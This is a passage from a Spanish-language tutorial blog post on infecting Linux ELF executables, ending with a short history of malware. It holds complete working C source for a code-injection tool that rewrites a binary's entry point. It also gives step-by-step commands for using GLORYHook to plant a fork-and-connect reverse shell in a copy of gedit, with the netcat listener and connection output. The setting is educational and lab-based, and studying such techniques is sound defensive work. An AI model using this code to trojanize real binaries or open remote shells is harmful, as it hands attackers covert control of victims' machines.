    if(strlen(inject->secname) > strlen(ABITAG_NAME)) { 
    fprintf(stderr, "Section name too long\n"); 
    return -1; 
    } 
 
    if(elf_getshdrstrndx(elf->e, &shstrndx) < 0) { 
    fprintf(stderr, "Failed to get string table section index\n"); 
    return -1; 
    } 
 
    stroff = 0; 
    strbase = 0; 
    scn = NULL; 
    while((scn = elf_nextscn(elf->e, scn))) { 
    if(!gelf_getshdr(scn, &shdr)) { 
        fprintf(stderr, "Failed to get section header\n"); 
        return -1; 
    } 
    s = elf_strptr(elf->e, shstrndx, shdr.sh_name); 
    if(!s) { 
        fprintf(stderr, "Failed to get section name\n"); 
        return -1; 
    } 
 
    if(!strcmp(s, ABITAG_NAME)) { 
        stroff = shdr.sh_name; /* offset into shstrtab */ 
    } else if(!strcmp(s, SHSTRTAB_NAME)) { 
        strbase = shdr.sh_offset; /* offset to start of shstrtab */ 
    } 
    } 
 
    if(stroff == 0) { 
    fprintf(stderr, "Cannot find shstrtab entry for injected section\n"); 
    return -1; 
    } else if(strbase == 0) { 
    fprintf(stderr, "Cannot find shstrtab\n"); 
    return -1; 
    } 
 
    inject->shstroff = strbase + stroff; 
 
    if(write_secname(elf, inject) < 0) { 
    return -1; 
    } 
 
    return 0; 
} 
 
 
int 
rewrite_entry_point(elf_data_t *elf, inject_data_t *inject) 
{ 
    elf->ehdr.e_entry = inject->phdr.p_vaddr + inject->entry; 
    return write_ehdr(elf); 
} 
 
 
int 
inject_code(int fd, inject_data_t *inject) 
{ 
    elf_data_t elf; 
    int ret; 
    size_t n; 
 
    elf.fd = fd; 
    elf.e = NULL; 
 
    if(elf_version(EV_CURRENT) == EV_NONE) { 
    fprintf(stderr, "Failed to initialize libelf\n"); 
    goto fail; 
    } 
 
    /* Use libelf to read the file, but do writes manually */ 
    elf.e = elf_begin(elf.fd, ELF_C_READ, NULL); 
    if(!elf.e) { 
    fprintf(stderr, "Failed to open ELF file\n"); 
    goto fail; 
    } 
 
    if(elf_kind(elf.e) != ELF_K_ELF) { 
    fprintf(stderr, "Not an ELF executable\n"); 
    goto fail; 
    } 
 
    ret = gelf_getclass(elf.e); 
    switch(ret) { 
    case ELFCLASSNONE: 
    fprintf(stderr, "Unknown ELF class\n"); 
    goto fail; 
    case ELFCLASS32: 
    elf.bits = 32; 
    break; 
    default: 
    elf.bits = 64; 
    break; 
    } 
 
    if(!gelf_getehdr(elf.e, &elf.ehdr)) { 
    fprintf(stderr, "Failed to get executable header\n"); 
    goto fail; 
    } 
 
    /* Find a rewritable program header */ 
    if(find_rewritable_segment(&elf, inject) < 0) { 
    goto fail; 
    } 
 
    /* Write the injected code to the binary */ 
    if(write_code(&elf, inject) < 0) { 
    goto fail; 
    } 
 
    /* Align code address so it's congruent to the file offset modulo 4096 */ 
    n = (inject->off % 4096) - (inject->secaddr % 4096); 
    inject->secaddr += n; 
 
    /* Rewrite a section for the injected code */ 
    if((rewrite_code_section(&elf, inject) < 0) 
        || (rewrite_section_name(&elf, inject) < 0)) { 
    goto fail; 
    } 
 
    /* Rewrite a segment for the added code section */ 
    if(rewrite_code_segment(&elf, inject) < 0) { 
    goto fail; 
    } 
 
    /* Rewrite entry point if requested */ 
    if((inject->entry >= 0) && (rewrite_entry_point(&elf, inject) < 0)) { 
    goto fail; 
    } 
 
    ret = 0; 
    goto cleanup; 
 
fail: 
    ret = -1; 
 
cleanup: 
    if(elf.e) { 
    elf_end(elf.e); 
    } 
 
    return ret; 
} 
 
 
int 
main(int argc, char *argv[]) 
{ 
    FILE *inject_f; 
    int elf_fd, ret; 
    size_t len, secaddr; 
    long entry; 
    char *elf_fname, *inject_fname, *secname, *code; 
    inject_data_t inject; 
 
    if(argc != 6) { 
    printf("Usage: %s <elf> <inject> <name> <addr> <entry>\n\n", argv[0]); 
    printf("Inject the file <inject> into the given <elf>, using\n"); 
    printf("the given <name> and base <addr>. You can optionally specify\n"); 
    printf("an offset to a new <entry> point (-1 if none)\n"); 
    return 1; 
    } 
 
    elf_fname = argv[1]; 
    inject_fname = argv[2]; 
    secname = argv[3]; 
    secaddr = strtoul(argv[4], NULL, 0); 
    entry = strtol(argv[5], NULL, 0); 
 
    inject_f = fopen(inject_fname, "r"); 
    if(!inject_f) { 
    fprintf(stderr, "Failed to open \"%s\"\n", inject_fname); 
    return 1; 
    } 
 
    fseek(inject_f, 0, SEEK_END); 
    len = ftell(inject_f); 
    fseek(inject_f, 0, SEEK_SET); 
 
    code = malloc(len); 
    if(!code) { 
    fprintf(stderr, "Failed to alloc code buffer\n"); 
    fclose(inject_f); 
    return 1; 
    } 
    if(fread(code, 1, len, inject_f) != len) { 
    fprintf(stderr, "Failed to read inject file\n"); 
    return 1; 
    } 
    fclose(inject_f); 
 
    elf_fd = open(elf_fname, O_RDWR); 
    if(elf_fd < 0) { 
    fprintf(stderr, "Failed to open \"%s\"\n", elf_fname); 
    free(code); 
    return 1; 
    } 
 
    inject.code = code; 
    inject.len = len; 
    inject.entry = entry; 
    inject.secname = secname; 
    inject.secaddr = secaddr; 
 
    ret = 0; 
    ret = inject_code(elf_fd, &inject); 
 
    free(code); 
    close(elf_fd); 
 
    return ret; 
} 

El código usa la librería libelf, a si que instalamos la librería y construimos el ejecutable:

$ sudo apt install libelf-dev
$ gcc -Wall elfinject.c -o elfinject -lelf

Inyectamos el código:

./elfinject holagtkc pcode.bin "injected" 0x800000 0

Al lanzar ahora holagtkc se ejecutará primero nuestro payload mostrando la frase en el terminal y ejecutando la aplicación correctamente.

Hemos sobrescrito el punto de entrada para indicar al binario donde se encuentra el código que hemos inyectado. Existen otras formas de llamar a este código sin modificar el punto de entrada, pudiendo ejecutar el payload en otro momento y también siendo la infección un poco menos evidente. Entre estas opciones podemos destacar:

  • El Secuestro de constructores y destructores
  • El Secuestro de entradas  GOT
  • Las redirecciones  PLT

Otra forma de insertar código en la aplicación y modificar el flujo de ejecución del programa es la instrumentación de binarios (SBI static binary instrumentation y DBI dinamic binary instrumentation).

Redirecciones PLT con GLORYHook

Vamos a utlizar ahora una version de la redirección PLT y para ello vamos a usar la herramienta GLORYHook que utiliza una versión modificada de la librería LIEF para la modificación de binarios ELF.

En este caso no es necesario que el binario este compilado de una forma concreta. Para este ejempo voy a utilizar gedit, al que lo voy a incrustar un payload que abre un shell contra otra máquina.

Instalamos primero la librería LIEF modificada y algunas dependencias:

sudo apt install python3-pip cmake
sudo pip3 install setuptools --upgrade
git clone https://github.com/tsarpaul/LIEF
cd LIEF/
sudo python3 ./setup.py install

Ahora instalamos GLORYHook

cd ..
git clone https://github.com/tsarpaul/GLORYHook.git
cd GLORYHook/
sudo pip3 install -r requirements.txt

Creamos el código que queremos incrustar en nuestro binario. Ademas de poder crear el código en C, podemos llamar a cualquier libreria lo que facilita mucho la creación de un programa más elaborado. En este caso voy a usar un pequeño programa que sobrescribe la función setlocale(). El progrma hace un fork() para crear un nuevo proceso y lanza  el clásico shell contra una IP:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <arpa/inet.h> 
#include <locale.h> 
 
#define REMOTE_HOST "192.168.122.1" /* host donde tenemos nc -l -p 4321 */ 
#define REMOTE_PORT 4321  
 
char *gloryhook_setlocale(int cat, const char *loc) { 
    int s; 
    struct sockaddr_in conn;  
    int childPid;  
     
    memset(&conn, 0, sizeof(struct sockaddr_in)); 
    conn.sin_family = AF_INET; 
    conn.sin_port = htons(REMOTE_PORT); 
    conn.sin_addr.s_addr = inet_addr(REMOTE_HOST); 
 
    switch (childPid = fork()) { 
        case 0: /* proceso hijo correcto */ 
          s = socket(AF_INET, SOCK_STREAM, 0); 
          connect(s, (struct sockaddr *)&conn, sizeof(conn)); 
 
          dup2(s, 0); 
          dup2(s, 1); 
          dup2(s, 2); 
 
          execl("/bin/sh", "sh", (char *) NULL); 
        case -1: /* error */ 
        default : 
          return setlocale(cat, loc); 
    } 
} 

En este caso sobrescribo setlocale() que es una función de librería que se llama al comienzo del programa, que para este caso es perfecto. Podemos ver las funciones de librería que utiliza la aplicación con ltrace:

$ ltrace gedit
gedit_app_x11_get_type(1, 0x7ffe8a501da8, 0x7ffe8a501db8, 160) = 0x556959decee0
gedit_dirs_init(0x7ffb45745f40, 1, 0x7ffb487d007d, 0x7ffb47e93959) = 0x556959ded2b0
setlocale(LC_ALL, "")
...

Compilamos el código:

gcc -shared -zrelro -znow rshell.c -o rshell

Y lo incrustamos en el binario, en este caso gedit, concretamente en una copia que llamamos rs-gedit:

python3 glory.py /usr/bin/gedit ./rshell -o rs-gedit

Por otro lado, en el equipo al que queremos que se conecte nuestro código (en este caso una máquina con ip 192.168.122.1) sera suficiente con tener nc escuchando:

❯ nc -l -p 4321 

Ejecutamos nuestro gedit modificado y se abrirá la ventana como de costumbre. Pero en nuestro equipo remoto tendremos un shell conectado:

En el equipo desde el que ejecutamos nuestra versión infectada de gedit podemos ver el proceso con la conexión establecida al equipo remoto:

$ sudo lsof -i -n
COMMAND     PID            USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
...
sh        13881           david    0u  IPv4 294988      0t0  TCP 192.168.122.161:34850->192.168.122.1:4321 (ESTABLISHED)
...

Los malwares tienden a usar técnicas para enmascarar este tipo de conexiones, ofuscar el código y en general hacer más difícil su detección.

Podemos revisar los cambios que realiza GLORYHook comparando el código del binario resultante con el original:

$ objdump -M intel -d /usr/bin/gedit >gedit.txt
$ objdump -M intel -d rs-gedit >rs-gedit.txt
$ meld gedit.txt rs-gedit.txt

Los cambios principales los veremos en la sección.plt:

Conclusión

La infección de programas ejecutables por virus informáticos forman parte de los comienzos del malware. Un sistema operativo como DOS donde no existía protección de los ejecutables ni restricciones de permisos y donde el intercambio de binarios era una práctica habitual, formaba el entorno propicio para que proliferaran estos tipos de códigos maliciosos.

Programar virus para DOS no era una tarea trivial.  Diseñar programas TSR (Terminate and Stay Resident) en sistemas que trabajaban en modo real era una de las labores más difíciles de la programación del momento.  El DOS era un sistema no reentrante, es decir, solo una aplicación podía ejecutarse al mismo tiempo. Si a esto añadimos la necesidad de hacer un código minimalista y ofuscarlo en la medida de lo posible, los virus eran una verdadera labor de ingeniería

Tenemos que tener en cuenta que, ya a finales de los 90, el foco del malware se orientó desde los virus hacia los gusanos y la explotación de sistemas a nivel de kernel. Y esta evolución ha continuado hasta la actualidad.

Hoy por hoy un virus informático clásico que se dedique a replicarse sobre binarios esta ciertamente muy limitado en cualquier sistema operativo moderno. De cualquier forma, los creadores de malware continúan usando las técnicas propias de los virus para añadir características a otros tipos de códigos maliciosos.

Lo habitual actualmente es que un malware utilice diferentes técnicas, por ejemplo explotar una vulnerabilidad de una aplicación con el uso quizá de algún gusano para su propagación, la instalación de un RootKit para afianzar el sistema, la instalación de un backdoor para acceso remoto, etc. todo esto unido a técnicas de evasión, confusión y ofuscación para evitar su detección. 

La menor incidencia de algunos tipos de malware en plataformas GNU/Linux es debida a diferentes causas entre las que se pueden encontrar:

  • Mayor robustez del código abierto. Un código visible es siempre más seguro que un código oculto. Poder revisar, cambiar, mejorar, parchear o fusionar el código fuente de cualquier aplicación es la única garantía de seguridad. El software libre hace el software más accesible a todo el mundo, más usable y más confiable
  • Difusión de los sistemas. El escritorio GNU/Linux tienen una baja cuota de mercado y el creador de malware quiere rentabilizar su esfuerzo al máximo. Es por tanto más normal que se incida en plataformas con más difusión
  • Falta de estandarización del software.  La falta de estandarización del software es un problema a la hora de desarrollar o distribuir software y el malware no escapa a este problema
  • Perfil de usuario - Es más frecuente que el usuario de GNU/Linux tenga un perfil más técnico, lo que lo hace más consciente a la hora de gestionar documentos, archivos o correos que pudieran comprometer el sistema

Estas características hacen que en el ecosistema de amenazas en GNU/Linux sean mucho más habituales los botnets DDoS para IoT y malware de minería criptográfica, y mucho menores las amenazas de ransomware, caballos de Troya o puertas traseras. Algunos de estos puntos pueden tener un mayor peso en el escritorio y otros en los servidores, pero las tendencias cambian y creo que es una peligrosa irresponsabilidad pensar que se esta ajeno al problema del malware usemos el sistema que usemos.

Para finalizar voy a poner esta pequeña cronología del desarrollo del malware en sus 40 años de vida, basada principalmente en el libro 'Malware Fighting Malicious Code' de Ed Skoudis pero orientada más a los sistemas GNU/Linux:

1981 Primer virus reportado - Elk Cloner
1983 Definición formal de Virus informático - Fred Cohen
1986 Primer virus para PC - The Brain para MS/DOS
1988 Gusano de Morris - Robert Tappan Morris lanza un gusano que tumba gran parte de Internet
1990 Primer virus polimorfico
1991 Lanzamiento del Virus Construcction Set
1995 Primer virus de Macro - Microsoft Word
1996 Lanzamiento de netcat para UNIX
1998 Primer virus para Java - The StrangeBrew
1998 Netcat para Windows
1998 Silvio Cesare publica UNIX ELF Parasites and virus
1998 Lanzamiento de Back Office - Control remoto para Windows
1999 Virus/gusano Melisa
1999 Agentes para denegación de servicio - TFN y Trin00
1999 Knark Kernel-Level RootKit - RootKit para Linux
2000 Gusano Love - Gusano en VBScript
2000 Silvio Cesare publica Shared library call redirection via ELF PLT infection
2001 Gusano Code Red
2001 Kernel Intrusion System - Manipulación de kernel con interfaz gráfico
2001 Nimda Worm - Gusano que emplea numerosos métodos de infección
2002 Setiri Backdoor - Caballo de Troya para atravesar firewalls
2003 Gusano SQL Slamer - Gusano que ataca a Microsoft SQL Server e infecta 75000 equipos en 10 minutos
2005 Extorsión por ransomware - Uso de diferentes malwares para realizar extorsiones a las victimas
2010 Gusano Stuxnet - Utilizando varias vulnerabilidades día 0 es usado como ciberarma
2013 CryptoLocker - Ransomware usando Bitcoin
2015 Ataque por ransomware a dababases vía web en servidores Linux
2015 Winnti - Backdoor para Linux
2016 Mirai botnet - Botnet para linux usado en algunos de los DDoS mas grandes y disruptivos
2017 WannaCry - Criptogusano ramsomware
2019 EvilGnome - Spyware Linux para escritorio con grabación de audio/video y keylogger
2019 HiddenWasp - Caballo de Troya en Linux para tomar control remoto de la máquina
Modificado por última vez enViernes, 11 Septiembre 2020 12:20
(9 votos)
Etiquetado como :

Deja un comentario

Asegúrese de introducir toda la información requerida, indicada por un asterisco (*). No se permite código HTML.